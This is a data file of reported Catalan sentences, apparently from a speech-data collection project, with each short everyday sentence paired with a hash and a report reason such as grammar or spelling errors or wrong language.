6c498d6b2531e5d2cc31fa7de8fdd9472a4bb160809ae6805423cf9ac3d3b3c3 ca grammar-or-spelling Per Cap d'Any na Noa i en Cesc volen anar a la platja. 6beb24d6cf19af1e7b4c4f280ece1e9c7eec9fb4a35a4f03cf3615ce8adfe033 ca grammar-or-spelling El nou d'octubre na Beth voldria anar a Benifallim. 6bd11a9d05f1cb3b0279fb5749606caf2d287608edc528d89f3fbee2aa98e99d ca grammar-or-spelling El vint-i-tres de maig na Maria i na Núria aniran a Alzira. 6cb0ef1a537b2a3cb2c81766a2659e40b595b5f9c4a4db6d1955cbc9a8d25bc6 ca grammar-or-spelling Dissabte na Mar i en Mateu iran a Puiggròs. 6bfb053a0e2e117ac33a803a7aa5d328b87448d218d53f1cafe0e77197a3aa5a ca grammar-or-spelling Dimecres na Frida i n'Eulàlia iran a Vandellòs i l'Hospitalet de l'Infant. 6b9382f6d0f1a2bb713dbb0c8b8631bdecf933fc339bf8ffcf31ade3a7df58da ca grammar-or-spelling El nou d'octubre en Genís i na Joana aniran al teatre. 6c359f46ace9c30a9c6ed567ac97eca38c355d7e014afbdba4a79a1a1f764c55 ca grammar-or-spelling El deu d'agost en Quel i en Jordi iran a la biblioteca. 6c42f47a4fcf12a6bc433d23530f312c6cc46513a8e7b7193885566256a2d0aa ca grammar-or-spelling El nou d'octubre na Dúnia i en Martí iran a Sempere. 6cae2133338b225698bec334bbea970e4bfc0237643fcc035ca5700e8223e7a1 ca grammar-or-spelling El deu d'agost na Blau i na Berta iran al teatre. 6d1ec4b1d6640525c2d4f8e0dc12b6b2ef8bf9d1816954b6b2fc22d447af4012 ca grammar-or-spelling Demà passat en Marcel irà al metge. 6c3a79d6e8f07d10d6255c97ff624260ebd2f08900fd1f892e818c109ae13022 ca grammar-or-spelling El deu d'agost na Mariona irà d'excursió. 6cf632b1e9852502745e0fd5cafca2a7254bee5829cac8ff53aeb92176d82fc6 ca grammar-or-spelling Demà passat en Roger irà al teatre. 6e858dfc8bc7c540e9a522393406a864553126bff34fb9a22d76a215afef0af3 ca grammar-or-spelling Dilluns na Queralt irà al Genovés. 6b70d7ba5401c56b08d0676072a3ac306baf091e229cd29a5fb234b4d75e203a ca grammar-or-spelling Dimecres na Laia i na Thaís iran a Pira. 6f285b0fa55778a52846d4e1fd359ccf4c1a0e5b1d2f530ff648090876a5b17a ca grammar-or-spelling La Volta a Catalumya va passar per l'Escala. 707dfaba4f1bc7c69534eccfbf07f4dedf8df538ceeeecd784486ce22fdac06c ca grammar-or-spelling El vint-i-tres de maig na Txell i en Renat August aniré al metge. 70d33bdc60a6180da773e9c8895035f075065143f77408b185bc236c7a5d2bf3 ca grammar-or-spelling Si us va aquest màgia amiga escriviu a "Secció Enigmística. 726f011919bb150c269dd747d9d6e1eba70beeee371565c6147047fb2fde8753 ca grammar-or-spelling El deu d'agost en Maria anirà al cinema. 715ca2fcb7d4fb92857641f5b2aba2f569f3b3bf18cff002e8b4c89d1206b799 ca grammar-or-spelling Diumenge na Damià anirà a Torrelameu. 72a0d5621654650df0433119db535566474adcbe0a494c9d171ecad097322375 ca grammar-or-spelling Dimarts en Guiu i en Maria iran a Lludient. 71c9c61bbb51100e497b3597b553a3b11729a2dc4c293cd7dd5d43ed26e1db7b ca grammar-or-spelling El vint-i-tres de maig na Txell i en Renat August aniré al metge. 70d33bdc60a6180da773e9c8895035f075065143f77408b185bc236c7a5d2bf3 ca grammar-or-spelling Dijous na Ramona i en Pep vaig a Josa i Tuixén. 72e1c5d531f1de97fb18f7059fdb79babf23ae22c736dcd129f7a94845e1a7d6 ca grammar-or-spelling El deu d'agost en Maria irà al cinema. 70dec9b018cb78dfa6c96c9c26c0b092a44ed64d54502eaa43ef358c446abb3c ca grammar-or-spelling Dissabte en Magí i na Damià aniran a Pratdip. 7262cafa8cea3083a52b98b461038845a2730a56b598a6360daa303f52b57f12 ca grammar-or-spelling Demà passat na Beth irà al cinema. 74fa4121efa950459a96c3d954d3c8fde7f460450ddc17e6a5346c1c5518ab00 ca grammar-or-spelling El deu d'agost na Joana irà a visitar mon oncle. 73dfcf6db2a928590c5435a17d2da90109681fc6824851f5bdd04a3ef5c2703a ca grammar-or-spelling El nou d'octubre na Vera i en Gerai iran a la platja. 74b531256dd6f39f63e8986ac9343c6dc9b7312f8fe2a2aeca529c8f3dcdd549 ca grammar-or-spelling El vint-i-nou de febrer en Maria i en Biel van a Oristà. 7578edf03afb1291ae731bb8861dcb84427add4cdf10a58aed9ae91872657a6e ca grammar-or-spelling El deu d'agost n'Oriol i na Cloè iran al teatre. 7a3c2495f408fa6c2fb4837fa9ee515cc44114d7584550bcd3ad1392ec47436e ca grammar-or-spelling Demà na Gal·la i en Bernat voldria anar al metge. 7a667629129eb3fec18438de05b69df44af371c89600c98ae95e5552777b4c1a ca grammar-or-spelling Dijous en Magí i na Damià van a Algaida. 7a8928e82ae9866f6719d8585ad85ec7c033dcda7433e95be076369e23551015 ca grammar-or-spelling El vint-i-nou de febrer en Maria i na Mira van a Ademús. 797bb8e2a49379cfd20d167d32c52c4940bc28b5e8b139c38eb42e5dc3029099 ca grammar-or-spelling El nou d'octubre en Marcel i na Fiona iran al teatre. 7da5edd7a0bc80826ef0f11d0756d152aa32bdb4c701f1b6bd2d7307e402f078 ca grammar-or-spelling Dilluns na Lena irà a visitar mon oncle. 7db81efcfb8e4198c684bad7a67017ab25899819121bee1839dd5d3e11b1eaba ca grammar-or-spelling Per Sant Jordi en Manel irà al cinema. 7c5cc117d6b94aafff17caf5d79a4a61ef3bb8e22228c3f2aa908610ca155341 ca grammar-or-spelling Per Sant Jordi na Bruna irà al metge. 7e4d927d5391bdcb7fe03d2a91550c4efb8de12f4850787380caac0cf1a3ba42 ca grammar-or-spelling El nou d'octubre na Frida i na Queralt iran d'excursió. 7e719c6f1732d551e591a4cbcc1e86bc27c87f20b80e717cc83f857ec84c3e20 ca grammar-or-spelling Divendres en Cesc i na Clàudia iran a la Riera de Gaià. 7e4e5e1f0e614cdf9d961ba51688147ea3d7e626bc8fcc0ebbec3d69f5634943 ca grammar-or-spelling Dijous na Cira irà d'excursió. 7e434904fd248fd191b6f780022ff0618bf770ffc24fee25889f02eb8a42a096 ca grammar-or-spelling El vint-i-nou de febrer na Nàdia irà a la platja. 7e65ba1a8e6ff25388c2785eedaca964ba5337517fe97fe2daeacb3e47df48b6 ca grammar-or-spelling Divendres en Gerard irà a Castellet i la Gornal. 7c45d7d2f3a5c8dec8e50dd04b47d140ba7f106c9c4f8fa8159dba5f74caaff2 ca grammar-or-spelling Diumenge en Miquel i en Quirze iran d'excursió. 7b489ecef7d45f14b1e75ea5d3a4348000b9200398349c44514b9fc66daef00c ca grammar-or-spelling El deu d'agost na Nura irà a Pau. 7df365fdc694c865ce34d1ecf74e36cb8617cda8f1e0624be3551bab0a3a1448 ca grammar-or-spelling Diumenge en Xavi i en Joan iran a visitar mon oncle. 7e73a540a4373121aadece7c3470fb3b3949ad6c1a1bc9a955d6774784948efa ca grammar-or-spelling Dissabte iran al cinema. 7e7e43c5cfe244bd0041fedbb748b6e9ecbda5a7f4af7d15ca75ab13769b5f67 ca grammar-or-spelling El vint-i-nou de febrer en Maria i na Laura iran a Sant Lluís. 7d61816c3528dfacbbb1d8ae9b8b668ef6a164371887e1d105d48de416256261 ca grammar-or-spelling Dijous en Roger i na Lara iran a la biblioteca. 7dea9bb26fa57a543341510cfa4a9151e00c459943ebc2ecbed8757803b672d2 ca grammar-or-spelling Demà passat en Pep irà a la biblioteca. 7df8d00cfa49a5b426c57af8ae01672e84ab2c9eea3121af9c9ba9b5125800f5 ca grammar-or-spelling Divendres na Queralt i na Sol iran a Perafita. 7db83374da9d59d54f1207e2c9ee2aecb59260e2330f4777afcd95167627abf9 ca grammar-or-spelling Demà passat na Dàlia irà al metge. 7b2b838826ab81a112b1fdb4834c39583041eefa78988df19bd0be4d421eab49 ca grammar-or-spelling El vint-i-tres de maig en Pere i na Dolça iran a la biblioteca. 7be044f1d2c4eb7c33a6cec2d1e44bcbc7de2347be89068749b6990e73df8b36 ca grammar-or-spelling El nou d'octubre en Sol i na Zoè iran al metge. 81ea221a130f91fb98872d9503603d4ee0de217d2e4197bdfd1c155d9465925d ca grammar-or-spelling El vint-i-tres de maig en Telm i en Bru iran d'excursió. 818c413cfd6077db093f54efc3675e1ce61f6c2c6d969b5d194c263c6aafce4a ca grammar-or-spelling El nou d'octubre na Nàdia irà al metge. 83ef47e26ce822cdab1a5f8383800d08e8dc4e0c8bef6da574ca1802078a7a72 ca grammar-or-spelling Divendres en Pau irà a visitar mon oncle. 83f09e315cddc2c95cf83b0ec45ff0cd7e643d5cd25813bf9d848c3f42234c28 ca grammar-or-spelling Divendres na Mireia i en Tom iran d'excursió. 83ff0ec72f98fe8058c38a082595f3257bbf44c1eed8c4b8ff9b1b68b8e5a81c ca grammar-or-spelling Divendres na Cira irà d'excursió. 8348dc348a6647b136617dd3076c5dce01a7aa5d2669a9b13f11f806e6ba440a ca grammar-or-spelling Per Sant Jordi en Grau i na Bruna iran a Gratallops. 838f7ca54fec9ca201dccf11e6fdb2450b0a396201955724812334d8f35c4c71 ca grammar-or-spelling Dissabte na Cel irà d'excursió. 8393f758111622b49b8301a5c8ce9181233eea3371f85bd5509c372e401ae26a ca grammar-or-spelling Demà passat na Blanca irà d'excursió. 843677bcbefc6fa90aba2b5cc1ff2e412d684cd91b1fb13f636dbef025077423 ca grammar-or-spelling El deu d'agost na Thaís i en Bernat iran a Xóvar. 839cfeb2aa67cd353b5ad49b1be6897f6ad9fa4feb6a8bdb49876d0b7104f7a0 ca grammar-or-spelling Per Cap d'Any en Martí irà a Santa Pola. 8429ce7c85de7041309f21682b99fcf0e9ff98e72f67f4699bf6c4b8304d6fd9 ca grammar-or-spelling El vint-i-tres de maig en Garbí i na Txell iran a la biblioteca. 83ee9e7771ecd4534b59cfdc1535d9939603015d35a4fa4f5518ad8c14b3c5f3 ca grammar-or-spelling Per Cap d'Any en Quer irà a Bigastre. 847f7d86749d2fca674cdac802a73fd21f73067e3ebfa888397ff54a4be53912 ca grammar-or-spelling Per Sant Jordi en Gerai i en Julià iran a Ger. 8458888d67b8b2596059437344e7cdc6745bc79526fffe3a1cd55fdce8c191f7 ca grammar-or-spelling Diumenge n'Hug irà a Onil. 839b71af69315a069bc0f713cdca2f54aa59fafc09464cba89dd1c36a6d017a3 ca grammar-or-spelling Dilluns en Quel irà a Búger. 83e1bbfe6ef00ac2c354f412c98177f9ae6476e4d2a6df2639662a03e5f2b4c7 ca grammar-or-spelling Per Cap d'Any en Gaël irà d'excursió. 843265f258f7ecd82ad5f92ffe941c03c28f9bb46c36bc970cd34efc24e692aa ca grammar-or-spelling Divendres en Jordi i en Jan iran a Roses. 841915e0d6c09e1917f73d1e9d4503278149585a255598917c600d30f6590d1b ca grammar-or-spelling Per Sant Jordi na Nara i na Greta iran a Sant Bartomeu del Grau. 82805f432862691efaac381466ecc0269d6c4d2fa217b05d13bfe13db62a3067 ca grammar-or-spelling El nou d'octubre na Maria i en Garbí iran a Vespella de Gaià. 83fc763088b6766f8b124ecbfe238c5d1a5284b32fa28ecbbf07f59632b309a6 ca grammar-or-spelling El deu d'agost na Sança irà a Figueres. 83bd8ef2e43fedd85a1347c413838dfd02940335e22c46879226da1d1375b7b5 ca grammar-or-spelling Per Sant Jordi na Joana i na Mira iran a Vilopriu. 84a60897b275e654cc20dbfe3e636093c03cb217a9b5613d1137f77e116771c5 ca grammar-or-spelling Dimecres na Sol irà a la platja. 84c0658e2cc544fc6767568af63b065d58873b9a623b64801102091f8ae3b301 ca grammar-or-spelling El vint-i-nou de febrer en Maria i en Jan van a Gelida. 87bc97efd970aa3855cbb36f091a3fb22334d9f5afe906c7a5d837ca0c43df99 ca grammar-or-spelling El vint-i-tres de maig en Guim i na Dolça iran a Benferri. 87e3bd8ac9261f173f6382c79a85c27b1bd12a741887547399a3c03b55347748 ca grammar-or-spelling Demà en Guim i na Noa iran a Begís. 88e4dc402d8d2ab40055c65d041d51968d6abc6313e962f0f829ecdc7b0a65b8 ca grammar-or-spelling Demà passat en Roger i na Lara iran al metge. 8981a1b62271d2f3fd3c844e5e2b21ab5b9f9598cdd6d137a459dca4cb3d2fd8 ca grammar-or-spelling Demà na Txell anirà a Alp. 883814765fb17359a9e4ceb34a944990b25ac7779292e25ba269ce53d96e7717 ca grammar-or-spelling El vint-i-tres de maig na Blanca voldria anar a Figueroles de Domenyo. 894424aadf93206b69b7868d98f89186fb9adb251e17140498385835a367a648 ca grammar-or-spelling Divendres na Clàudia i en Telm iran a la biblioteca. 893677b9f9aa8c1d62a6158f661647657764ae5068d02da4d741d4dabf08a7bc ca grammar-or-spelling El deu d'agost na Nara anirà al cinema. 89282595f8f5422ef8a9a0b157dd2309293e0cba2a07abba60848421dbe64b9a ca grammar-or-spelling El nou d'octubre na Dúnia i na Cloè aniran a Josa i Tuixén. 8777e2fa6159f8612b41b0e7ea49c074259adacf457b201f46ec11197db0924e ca grammar-or-spelling Dimecres na Fiona i na Sança aniran a Móra la Nova. 88ea7ca24adef6267a4baceb42432a988cee229ca9191694bba5e16de3a6084d ca grammar-or-spelling Dimecres na Xènia i en Nil aniran a visitar mon oncle. 8862fb9a061c466d04424a472f483b0e2719c2eeb66a78517dae2dbaf0338cc4 ca grammar-or-spelling Diumenge en Quer i na Fiona iran al teatre. 864916526530163a765033679e271654db05065b6aaaf6561b1fc499080be17a ca grammar-or-spelling El vint-i-tres de maig na Sira i en Martí iran al cinema. 898553c7dc869d96e58ffb0702a166d528c83c909918db85efab194ef88341cc ca grammar-or-spelling Dissabte na Dolça anirà a Cercs. 899c05bb3c6951075110a7a5a1bcedf8a16da877a0fbb2ffa67d024a8e6d8f57 ca grammar-or-spelling Dijous na Lena vol anar al cinema. 899ac9e89f7f2af33d8e57bd0e31a7330dbd3ae65ffac1b460e7078b9131f5e2 ca grammar-or-spelling Dijous na Lena vol anar al cinema. 899ac9e89f7f2af33d8e57bd0e31a7330dbd3ae65ffac1b460e7078b9131f5e2 ca different-language El vint-i-tres de maig na Paula i en Quer voldrien anar a Torrevella. 8992e21b8596fddc7c6eb3e82cb2e95a010e13dd1341c2a9c88cbc43ff7b97f7 ca grammar-or-spelling El vint-i-tres de maig na Paula i en Quer voldrien anar a Torrevella. 8992e21b8596fddc7c6eb3e82cb2e95a010e13dd1341c2a9c88cbc43ff7b97f7 ca different-language Demà na Clàudia i na Cloè aniran a visitar mon oncle. 88c24e1dea7023fec63af158a6cf4cce25b7d1ee43a5f97112d789bd90d83dcf ca grammar-or-spelling Dimecres en David i na Xènia volen anar d'excursió. 8902da419dca664934cc4e33f9a4cf17c754369a395f31d31e7f0d033c6594a4 ca grammar-or-spelling Dimarts na Farners i na Lis volen anar al Perelló. 8944019715907091aa29c9ba2cf2d2da872ecf25663c072d91f0fe56093ade04 ca grammar-or-spelling Divendres na Sira i na Farners iran a Navàs. 8bad18f2d4579e01cc6b9de93d91f6a68791861c4bbd712a6c91fe6323d1a003 ca grammar-or-spelling El deu d'agost en Quintí i na Lara aniran al Castell de Guadalest. 8b27ea8d6bb6d77647ad470f35997293e0330f389ee11c2e57d6f1d104da34f2 ca EM DIU QUE SE SENT MASSA FLUIX, AIXO NO VA Època va aparèixer el zero —diu l'Òskar—. 8d8caad95f5fc6f2c377d00721e12caa809f9c8c7561a0453b9de51d3a0740f2 ca no fa gaire sentit Dilluns na Nàdia anirà a Llavorsí. 8dd6ec237e5ca9f98b12e6568a9f0b7f5aabf1b8e812884daff7a507c6af7834 ca No agafa el microfon ???? Dimecres en Blai irà a Salou. 8ed067ae816e7d3fe20744e114524037e5e3cf48f9e0645f53b38768a29c259c ca grammar-or-spelling El vint-i-nou de febrer na Vinyet i en Quel iran a l'Escala. 8fa0c000e87a368b601850a06f4f47c783fd3b96b73ba9d6defe7ee706312ad6 ca grammar-or-spelling Dimarts na Tanit i en Ton iran a Albons. 906434fc45216d7091d0cde07a08581d366693214fe613f7bc67eb684dfdee17 ca grammar-or-spelling El vint-i-nou de febrer en Rauric i na Cira iran a Alcoletge. 90b0bed3a968e8a2021b09065992e8c737960c756a312c53410a8477dba087ec ca grammar-or-spelling El deu d'agost en Bernat i na Dúnia iran a Binissalem. 8f88ad83d9b6c5f0ba1b2a4ac9d7b72a026968be6b2a733c0212c3aa29d40919 ca grammar-or-spelling El vint-i-tres de maig en Quel i na Mar iran a Meliana. 90d3d02273b607d8200bedb87c6c889890cc323d9cb39826373a799b31096bd6 ca grammar-or-spelling El deu d'agost en Bernat i na Carla iran a la platja. 90c075b679c93700320b94ece9275ea85c2908c9cdac2d6bd7498f78638f4937 ca grammar-or-spelling Per Cap d'Any en Quim irà a Ferreries. 905fdfa5de0f2a062ac713dda37dc73e4739dff694b3a3bd0f493954f39769d3 ca grammar-or-spelling Dimecres na Dèlia i na Nit iran a Aín. 90d461447ac48500ffeff277b36e266e09b497247592211a45c5b8196def718b ca grammar-or-spelling Dimecres na Xènia i en Nil iran a visitar mon oncle. 8fc2840a6592c2cec58f163914b3a0eec9d575f4cd873d2043f95e55fa5d1f47 ca grammar-or-spelling El deu d'agost na Vera i na Xènia iran al cinema. 8e1906d77d979fe8d7888535e028b0ef84e7993d871c70c6b24a2368a1b0db01 ca grammar-or-spelling Dimarts na Gal·la i en Nico iran a Alpens. 911190899503bc9b41a1660ba2583c9fea081284458917de7fb5b29ff2c8bbb2 ca grammar-or-spelling Per Cap d'Any en Quim irà a Camporrobles. 906cd1b68eec228e15c38c1939a731424f5d1d0cfe9f821b0005db5925a2d828 ca grammar-or-spelling El vint-i-nou de febrer irem al teatre. 911acf07e6e6d766f4436c52311ae787ead03c965ba289ddba04b1622d7b9a80 ca grammar-or-spelling Dijous na Frida i en Rauric aniré a visitar mon oncle. 91f8d79f244678d991f7c1fcce00b8bd10656a525286bc74bd10afa7614116ab ca grammar-or-spelling El vint-i-tres de maig en Maria vol anar a Sant Antoni de Benaixeve. 91fcb011cad80705e7cfce5689be8312c0be036eb018051cb7a505cd98eb98d9 ca grammar-or-spelling Demà passat na Damià i na Vera volen anar a Isona i Conca Dellà. 915ce1df38050551c381b4bfa6a9ed58b445d8968a33cfbc6696b15ba1708a4f ca grammar-or-spelling Demà passat na Lara irà a Santa Cristina d'Aro. 93631f3d4a71a19ea426a20aebcf51748fa0a6fc4df3afb4ddef6b1816086092 ca grammar-or-spelling El deu d'agost en Sol i na Berta iran a Pont de Molins. 9376130e9341f102b48738f4cb97fb956a8c68578e81ad95a22bc6ebc989f347 ca grammar-or-spelling Dissabte en Pep i na Noa iran a Castelló de Farfanya. 9392d9d43c882577584305bbbe8c9ccc596ff690a0ca8d632409026f01843cca ca grammar-or-spelling Divendres na Blau vol anar al cinema. 88fdb63b14680e4cb67abc315ba3c5fed6b802df491ccfe5d13ae93561e4543d ca L'article na es troba en desús El joc oriental que sempre trobareu als Govern. 26347ded3003c0b723403a23b9487a00698dc4b30691296fed9b1414e0fa6aba ca grammar-or-spelling Que no es pot pair. 5e530d044c603babaab53a70ebfde2bb7b28166fa478062ca2a854ed408bdb1d ca grammar-or-spelling L'instrument de vent més oficialista de la premsa madrilenya. 7a7c703937691fd361d38ad76a3aef66fc64d6461d2b343fb309a46e0b18480f ca Si el qué diu no és cert, tant fa? M'ha associo amb el redactor de la llei del Talió. 854fb5039e2937854f08a8e6c11396fbc6be8926cf08003b314e31285b138aff ca grammar-or-spelling El deu d'agost en Llop i en Sam iran a la platja. 94f192c245aef9000e2fdca5d551792c53538e79ad93580ffa7011c394e46762 ca En la meva variant dialectal no es diu mai iran (en tot cas aniran) Per Cap d'Any en Rauric irà al teatre. 959884614306901aa134cdec4251c3bc3b5702bcc1443d80e3c69ca53882b355 ca grammar-or-spelling Per Cap d'Any na Sança i en Guim iran a Maçanet de Cabrenys. 953fb5944aa149c67766532add60a079201ae8cb5778bbb198b61ba1bbb42b8d ca grammar-or-spelling Per Cap d'Any na Gina i en Ferran iran a Aspa. 96ed1b495ba5d7805670b959ce77e8412e23b0c8775ad28e2494887514159561 ca different-language Demà en Garbí i na Txell iran al teatre. 96b43e46a7e3cd8b35859748b14115f9d61ee8882b5b351df309dbfd60d6441d ca grammar-or-spelling Dimarts en Gerai i na Tanit iran a Viver i Serrateix. 96bf6a00d77f496cce16bc11fabe91fd2ca0ffd0304be280995ff41e1c983954 ca grammar-or-spelling Diumenge na Nina i na Clara iran al metge. 96cd6846f59a015cc6c0343477cfb1e82670e4659f69e63bd84cf61b6e49bb11 ca grammar-or-spelling El vint-i-tres de maig en Lluc i na Joana iran a Maria de la Salut. 95da9966743eabfc70cad3bab52849b3cbaea479d97e7cebc365bdc1dc49f92e ca grammar-or-spelling Demà passat en Blai i en Genís iran a Alguaire. 965ebab8edb93ab2a3db5d68115e5386ca605369b1fac217c22dc91caa82e6ab ca grammar-or-spelling Dimarts na Farners i na Lea iran al metge. 9628318d676ccc60428e26cdf2c89f498ef9de542f817db50dbb2d455ca76d4c ca grammar-or-spelling «C'est l'enfer qui m'a créé». 960e6151a67c05b78672009d85c54465575c951b1496f7585f381c2e48c53eb1 ca different-language Demà passat na Bet i na Ramona iran al cinema. 985a0fc68a7e0389a19823996ae3aff314ea87546895ed67ad19965ad2ec703c ca grammar-or-spelling Per Cap d'Any en Dan irà al teatre. 97cf8eec3ed8eda1ff9d9210ec296810f3fb2ec614060d416f0804c1d1f520ef ca grammar-or-spelling Diumenge en Genís i en Grau iran a la Vall de Laguar. 985a73d3ea78d1175288f987f4b69ed6af8842dd79dc189622339bb462b9a3a9 ca grammar-or-spelling Dimarts en Roc irà al cinema. 98800f980d27ee9b6e1445b08750f98ff3127aba73e4a8081414135e1427be41 ca grammar-or-spelling Divendres en Quer i na Bruna iran a la Pobla de Mafumet. 983ccc7877e789f4008a2a05924f4807072911cab1d42fa102fe5f7676513018 ca grammar-or-spelling Dimecres en Quer i na Fiona iran al teatre. 98a9310b99f291a310c0bd1734d20dc08d135cb39d09337d225a9c72fc8d6976 ca grammar-or-spelling El nou d'octubre en Nel irà al metge. 983b135fc53ceaaad122974bd6e90a3fe161d657fa5cb8e8c29f26092f9e8f12 ca grammar-or-spelling Dissabte na Cèlia irà a Palafolls. 9886d67a0a4a2216eeda5e41818d820d102b90d295b449cd68a25efc43691640 ca grammar-or-spelling Per Sant Jordi en Nel irà a Sant Pol de Mar. 97db14e12e94d87a2c6d63e2c007ee61fbbd439c57d5bd79316d7cc0e441c018 ca grammar-or-spelling Diumenge na Beth i en Marcel iran a Benlloc. 983076c1906c4d7d515bcdf6a2104bc20f9a9ed3a6b6e5a46be7aaac51143632 ca grammar-or-spelling El deu d'agost na Tanit i en Ton iran a Vallés. 98975b83d17e4ae9b7a236afd8f3cd293a7e6f9d85d22dd4b302f3c4369b8bb9 ca grammar-or-spelling El vint-i-tres de maig na Duna irà a Gilet. 98bd4150787b03a5287e441455b642086dd005607fd3964613c8ad69cb228d4f ca grammar-or-spelling Demà na Clàudia i en Telm iran d'excursió. 98a343985149f0a876c9c9049383371fd5e8acd3c0d34f7346f418622eaebfe0 ca grammar-or-spelling El vint-i-tres de maig en Quel i na Nit iran a la biblioteca. 98b05eae3ca7ed85ee97570bc4bf75d9010268df28a73166ab3dc0eb2251c687 ca grammar-or-spelling Demà en Guillem i en Nel iran a visitar mon oncle. 97fcfa688f10e959054818732db3e2509f0291261eac7f751cbaa234a4258c85 ca grammar-or-spelling Dijous na Gina i na Carlota iran a Villores. 9717638770631875e9e59bf6c5e7888df132009693e08cd1b24ebe44f460bd08 ca grammar-or-spelling El deu d'agost en Telm i en Bru iran d'excursió. 971fb80bd1cc5f5a9a1fc37fc6fd9fbf0333ea6f01f9629e5e74f4d6bbb018cb ca grammar-or-spelling Dimecres en Maria i en Cai aniran a Lladó. 99073be26f4c0f416906c5e667f6f5228b97fd4157fcaa7fd0a77c7245b87f09 ca grammar-or-spelling Per Sant Jordi na Neus i na Damià aniran a Canals. 98fbf4af8199d5fe35578bcbef93e8aeb43fa96573d1e8b6ca64b9f5ddb93aa3 ca grammar-or-spelling Demà passat en Maria anirà a visitar mon oncle. 9a557f815edecbd97eae4e7036a1fd5553479475e74a7964f54e8f9ba0d928ad ca grammar-or-spelling El deu d'agost na Clara i na Carla iran al teatre. 9a33d9f0a3c810c14f920c6200084e5028d6fe3305e4b47e4bfb353c9a770f8a ca grammar-or-spelling El nou d'octubre na Núria i na Beth iran a Selva. 9b0561f4751e0ba9df107b7fc312ca0a5ea7dff610b3611f5e40e95cccff9cad ca grammar-or-spelling El vint-i-nou de febrer na Frida i na Lea iran a la platja. 99c8b39b0fbb879e44cd7095fc5e75fdc905533f388b2e3cfaf9c19331eb70c7 ca grammar-or-spelling Demà en Pere irà d'excursió. 99fc5e51a3b61487e637d8698434be15d2749dcb2c9d4f3accae455dd86aabd8 ca grammar-or-spelling Divendres en Pep i en Sergi iran a Almàssera. 9a87c40a077c6ff9e0880152053e30ae6a407a2d8d1c126abdb6a7f20ff1b04a ca grammar-or-spelling El vint-i-nou de febrer na Cel irà a la biblioteca. 9a3e5c33adbeb9bd5124d951ed518702605f95fcd1b123303787d17a54663dac ca grammar-or-spelling El vint-i-tres de maig na Marta i na Tura van a la Pobla de Montornès. 9a1001abd2f1bd2fc83d07bd84cd4d1125d1418fdced968207b6360fd864fb2e ca grammar-or-spelling El vint-i-nou de febrer na Noa i na Nina aniran a Figueres. 9811a08a2ad22dd3ec54f00a759a6b8221c290275e1c2e15f1a5556c9b341715 ca different-language El vint-i-nou de febrer na Noa i na Nina aniran a Figueres. 9811a08a2ad22dd3ec54f00a759a6b8221c290275e1c2e15f1a5556c9b341715 ca grammar-or-spelling El vint-i-tres de maig en Genís i na Dolça van a Castalla. 9a4b7d0c998463694c624a057b64f9939e3d1a5246570bedb7c4335231becfb9 ca grammar-or-spelling Dijous na Cira i na Nora aniran a Lles de Cerdanya. 9acb9156770d20f6233cd2999121082564674a5a95393a1f7ee147ac156e1428 ca grammar-or-spelling El vint-i-tres de maig na Berta i na Mariona aniran al metge. 9a46e70a6ce9baa7576e8db06f412c81f0ce09d0fd0319ad67c1ddeed0cfc72e ca grammar-or-spelling Dijous na Laura irà al teatre. 9aee91551438d5ed9e6169e8e13fc8c22d44aaf970581390068c356b7b0dcdbe ca grammar-or-spelling Dimecres en Renat August irà a Rodonyà. 99c963cccda9c6693827bbc0496118a962accca97fe576a4162575c24dbf7a0f ca grammar-or-spelling Dissabte na Xènia i en Nil aniran al cinema. 9afcfc23a8194952098d8da166b493ffdee6b1cf9c4cf686bbc7c14f4decb90d ca grammar-or-spelling Demà en Roc i na Jana aniran a Bausen. 9a6567a98c503dc7c2f5ecf66f8000f85a4cb5cc3b2af410ba314e7665805b4e ca grammar-or-spelling Diumenge na Marta i na Nura iran al teatre. 9abb69478dd36b2edefac4f31fe494ee10b37d6b59914cdb592e851931cc6c8e ca grammar-or-spelling Dilluns na Duna anirà a Corbins. 99519f55593672a6e4ad24cab0cb55475e4f6f1c43deb86b64b4974a2d27e68b ca grammar-or-spelling El vint-i-nou de febrer na Marta i na Tura volen anar a Sant Pol de Mar. 9a6cd359abe048301f206737628f433a25c72ca53abab69b4e9e461b353df145 ca grammar-or-spelling El vint-i-nou de febrer na Marta i na Tura volen anar a Sant Pol de Mar. 9a6cd359abe048301f206737628f433a25c72ca53abab69b4e9e461b353df145 ca different-language El vint-i-nou de febrer na Sira anirà a la platja. 9a01a256880116011252f5195e4839f01572309b9fec0862c282fc96a9d9fecd ca grammar-or-spelling El vint-i-nou de febrer na Sira anirà a la platja. 9a01a256880116011252f5195e4839f01572309b9fec0862c282fc96a9d9fecd ca different-language El nou d'octubre en Biel i na Gina volen anar al metge. 9b0da50a17dc0fe53f43728dcb012a949f6a147fb1b97b85acd907567ded928a ca grammar-or-spelling El nou d'octubre en Biel i na Gina volen anar al metge. 9b0da50a17dc0fe53f43728dcb012a949f6a147fb1b97b85acd907567ded928a ca different-language El nou d'octubre na Lia anirà a la Iessa. 9a6440d6d381b426938c72db926f812799f347b895843e866429afe1553e8b9a ca grammar-or-spelling El nou d'octubre na Lia anirà a la Iessa. 9a6440d6d381b426938c72db926f812799f347b895843e866429afe1553e8b9a ca different-language Demà passat na Lea anirà a la Molsosa. 9ae1ad15525884ed555499ad600c28d6b5a5821ba1c02ac992ff38e66e37748b ca grammar-or-spelling Dimarts na Sara va a Penelles. 9a9732b0cd5ea333a359a1c558b0a00bc276deb697d18324978b686f2c5b6144 ca grammar-or-spelling Dissabte na Neida i en Manel iran a Castellar del Riu. 992db06f6e215e640e1bc3b6e701fd64bf3ef11ca20722f409be2a21a0eb56f6 ca grammar-or-spelling Demà passat na Fiona i en Roc van a Palamós. 9aeef0cbdc8d46a0b8f01daaa25b536d2133eba9aecd4c6a3a22a928b3707842 ca grammar-or-spelling Demà passat n'Hug i na Nora van a Jafre. 9a52961bd1fe02b69dfd6ae1819fa49be36833d0bc071c00ec0f11cf4375dc5b ca grammar-or-spelling El vint-i-nou de febrer en Guim irà a la platja. 99a65e947f19943a4974488e352823864037f822da08b6fabc62a06cbe684ab4 ca grammar-or-spelling Per Cap d'Any n'Hug i en Jordi iran a la platja. 9a7421ee0034c9e26060208fa723664a93560d444c9688c3533ea9e8323efc28 ca grammar-or-spelling El vint-i-nou de febrer en Gerard irà a Escorca. 9b08fb92434f6a57dff1da048c7fe9c1fffdfe1d65cc42f29dc80d6c120429ee ca grammar-or-spelling El vint-i-nou de febrer en Roger i na Lara volen anar a visitar mon oncle. 9a626a33967496b02560b82dfc99c4edb08b1ea9f6439a0161c6bc3d429444d8 ca grammar-or-spelling El vint-i-nou de febrer en Roger i na Lara volen anar a visitar mon oncle. 